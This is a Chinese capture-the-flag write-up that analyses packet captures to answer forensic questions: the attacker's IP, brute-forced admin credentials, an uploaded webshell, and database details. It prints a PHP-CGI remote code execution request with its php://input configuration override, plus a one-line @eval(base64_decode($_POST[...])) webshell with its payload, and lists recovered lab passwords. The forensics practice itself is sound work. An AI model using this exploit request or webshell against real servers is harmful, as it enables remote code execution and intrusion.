当前位置: 首页 > article >正文

DIDCTF流量分析

题目来源:DIDCTF流量分析

来自 <DIDCTF-电子数据取证综合平台>

题目描述

43,分析检材1,黑客的IP地址是

44,分析检材1,黑客登录web后台使用的账号是

45,分析检材1,黑客登录web后台使用的密码是

46,分析检材1,网站账号“人事”所对应的登录密码是

47,分析检材1.黑客上传的webshell文件名是

48,分析检材1,数据库所在的内网地址为

49,分析检材1,黑客找到的数据库密码是多少

50,分析检材2,数据库的版本号为

51,分析检材2,“dou_config”表中,“name”字段值是“tel的行中,“value”值是

52,分析检材2,黑客获取了数据库中保存的邮箱账号和密码,其中sool@test.com的密码是

1,第一步统计IP地址,出现次数较多的怀疑为黑客IP

重点怀疑IP为192.168.32.189/192.168.94.59

2,一般黑客的攻击行为伴随着http请求,可以过滤出来然后分析其行为

ip.addr==192.168.32.189 && http

过滤出来的流量有一个特征,那就是一个请求,一个响应,这之间就存在着服务端与客户端的关系。前面几条都是与192.168.94.233的正常交互,追踪流可以推测192.168.32.189是一个服务端

3,再往后面翻已经有一些很明显的攻击行为了

都是192.168.94.59向192.168.32.189发送的各种编码的payload,NO.7847追踪流看看

能够确定攻击者IP是192.168.94.59

这个HTTP请求信息包含了一些特殊字符和恶意代码,目的是尝试通过特定的PHP CGI漏洞进行远程代码执行 (RCE)。下面是对请求的逐步分析:

请求行

  • 该请求使用 POST 方法,指向 /cgi-bin/php 路径,附带了 URL 编码的查询字符串。
  • 查询字符串中的参数是经过 URL 编码的,解码后如下:
    -d allow_url_include=on
    -d safe_mode=off
    -d suhosin.simulation=on
    -d disable_functions=""
    -d open_basedir=none
    -d auto_prepend_file=php://input
    -d cgi.force_redirect=0
    -d cgi.redirect_status_env=0
    -n
    这些是 PHP 的一些配置项,目的是尝试通过漏洞绕过 PHP 的安全配置,允许通过 php://input 协议注入代码。

HTTP头部

  • Content-Type: application/x-www-form-urlencoded 表示请求体包含了表单数据。
  • Host: 192.168.32.189 是目标主机的 IP 地址。
  • User-Agent 是伪造的浏览器信息,通常用来隐藏攻击源。
  • Accept: */* 表示接受所有类型的响应内容。

请求体

<?php echo(md5(acunetix-php-cgi-rce)); ?>

  • 请求体的内容是一个 PHP 脚本,它通过 echo 输出 md5(acunetix-php-cgi-rce) 的哈希值。这表明攻击者利用这个请求执行 PHP 代码,且想要验证远程代码执行是否成功。

总结

这段请求是一个典型的尝试利用 PHP CGI 漏洞进行远程代码执行的攻击。攻击者通过特制的 URL 参数修改 PHP 配置,尤其是将 allow_url_include 和 auto_prepend_file 设置为 php://input,让 PHP 处理请求体中的代码,从而实现执行任意 PHP 代码。

关键点:

  • allow_url_include=on 允许 PHP 脚本通过 URL 引入文件。
  • auto_prepend_file=php://input 设置 PHP 处理请求体中的内容,允许执行恶意的 PHP 代码。
  • 攻击者希望验证代码是否被执行,并通过 md5(acunetix-php-cgi-rce) 计算哈希值进行验证。

1,追踪http的post的流量,并且只关注登录成功的流量

注意到后面的流量都在尝试着爆破

用户名统一都是admin,证明攻击者想要通过admin登录进入后台

1,已经知道了后台登录用户是admin,那么就猜测爆破的最后一条是成功了,也就是登录使用的密码

密码是admin!@#pass123

1,题目要求知道人事用户的密码。我们已经知道服务器IP是192.168.32.189,那么公司应该是在一个局域网192.168.32.0当中,其中的这些IP就是公司内部IP:192.168.32.152/192.168.32.153/192.168.32.255

ip.dst == 192.168.32.189 && ip.src != 192.168.94.59 && http.request.method==POST && http contains "login.php"

通过此过滤方式直接过滤出来了最核心的三条

  1. 捕获所有发送到目标IP地址 192.168.32.189 的HTTP POST请求。
  2. 这些请求的来源IP不能是 192.168.94.59。
  3. 这些HTTP请求中必须包含 login.php 这一字符串,通常与登录操作相关。

过滤出来了密码是hr134679

1,提到了上传的是webshell,应该是一句话木马,那么这个木马的一定存在关键的函数@eval()

ip.dst == 192.168.32.189 && ip.src == 192.168.94.59 && http.request.method==POST && http contains "@eval"

捕获所有来自 192.168.94.59 的POST请求,这些请求的目标地址是 192.168.32.189,并且这些POST请求的内容中包含了字符串 @eval。

  • 目的:从这个过滤条件中可以看出,过滤器主要用于捕捉可能包含恶意PHP代码的请求。特别是包含 @eval 的请求,这通常是攻击者尝试通过 eval() 函数在目标服务器上执行任意代码的信号。
  • 应用场景:此过滤器通常用于检测试图通过PHP代码注入(尤其是通过 eval() 函数)进行远程命令执行的攻击。@eval() 函数在PHP中用于动态执行代码,这通常是Web攻击中的常见手段,特别是涉及到木马或后门程序时。

过滤出来的30条流量包全是有一句话木马的,并且上传的文件名为a.php

追踪流之后能够得到更加详细的内容

@eval(base64_decode($_POST[action]));
$action= @ini_set("display_errors","0");
@set_time_limit(0);
@set_magic_quotes_runtime(0);
echo "-->";
$D=dirna
me($_SERVER["PATH_TRANSLATED"]);
$R="{$D}\\0" ;
if(substr($R,0,1)!="|") {foreach(range("A","Z") as $L)if(is_dir("{$L}:"))$R.=$L;}
$U=func_exits('posix_getegid')?@posix_getegid():@posix_getpid();
$R.="{$U}";
echo("}|-");
die();

2. 恶意代码分析

  • @eval(base64_decode($_POST[action]));
    • 这行代码是一个典型的PHP木马代码。它从HTTP POST请求的 action 参数中获取数据,解码它并执行。这意味着攻击者可以在 action 参数中传递任何PHP代码,从而执行任意操作。
  • ini_set("display_errors","0");
    • 该代码关闭了PHP错误显示,通常用于隐藏错误信息,从而避免暴露给攻击者。
  • set_time_limit(0);
    • 禁止脚本超时,这通常用于使木马在后台长期运行,不容易被中断。
  • set_magic_quotes_runtime(0);
    • 禁用运行时魔术引号,这样有助于避免对字符串中的引号进行转义。
  • $D=dirna me($_SERVER["PATH_TRANSLATED"]);
    • 这行代码尝试获取当前脚本的文件路径,并存储到变量 $D 中。
  • if(substr($R,0,1)!="|") {...}
    • 这段代码尝试在本地磁盘上寻找可访问的驱动器字母(例如 A 到 Z)。它用于判断并组装出当前系统上可能存在的路径。
  • $U=func_exits('posix_getegid') ? @posix_getegid() : @posix_getpid();
    • 获取当前进程的进程ID(PID)或有效组ID(EGID),用于进程识别。
  • $R.="{$U}";
    • 将进程ID附加到路径字符串 $R 中。
  • echo("}|-");
    • 输出定界符,用于分隔可能的恶意响应数据。
  • die();
    • 终止当前脚本的执行,确保恶意操作完成后不再执行任何后续操作。

1,问数据库的内网地址,那么切入点要么是phpmyadmin登录,要么是在服务器上直接登录

tcp.dstport == 3306

过滤出的都不是我们需要的,再过滤关键字

最后几条再追踪流就能看见数据库的内网IP:10.3.3.101

已经知道了内网数据库IP,那么数据库密码也能找到:e667jUPvJjXHvEUv

1,已经确定了有数据库,那么在检材2过滤mysql就能够看到与之相关的内容

第一条就是version=5.5.49

2,ctrl+F搜索tel并且选择分组详情就能找到所需信息,value值为0659-8686868

3,直接搜索sool@test.com

在No.920条找到密码

找到密码的hash,md5解密flag:qaz123!@#


http://www.kler.cn/a/441822.html

相关文章:

  • 面试小札:闪电五连鞭_3
  • 2024年大模型后训练(post-training)总结
  • RabbitMQ Work Queues (工作队列模式) 使用案例
  • leetcode--字符串
  • Git工具
  • 【人工智能-中级】卷积神经网络(CNN)的中阶应用:从图像分类到目标检测
  • Win7上安装node.js(v18.16.0),并创建vue3项目
  • [STM32]从零开始的cube IDE安装与配置教程
  • Android AOSP 源码中批量替换“phone“为“tablet“的命令详解
  • stable diffusion学习01
  • nodeJS——Mongoose基础操作
  • SM4笔记整理
  • 深度学习之 Deep Video Super-Resolution (VSRNet)
  • 黑神话无缘TGA2024年度游戏的原因
  • Redis经典面试题
  • [免费]SpringBoot+Vue校园社团管理系统(优质版)【论文+源码+SQL脚本】
  • centos7扩容ext4文件系统类型硬盘
  • element中input框添加@keyup.enter.native,按enter后刷新页面
  • MySQL数据库备份,恢复
  • EasyExcel 动态设置表格的背景颜色和排列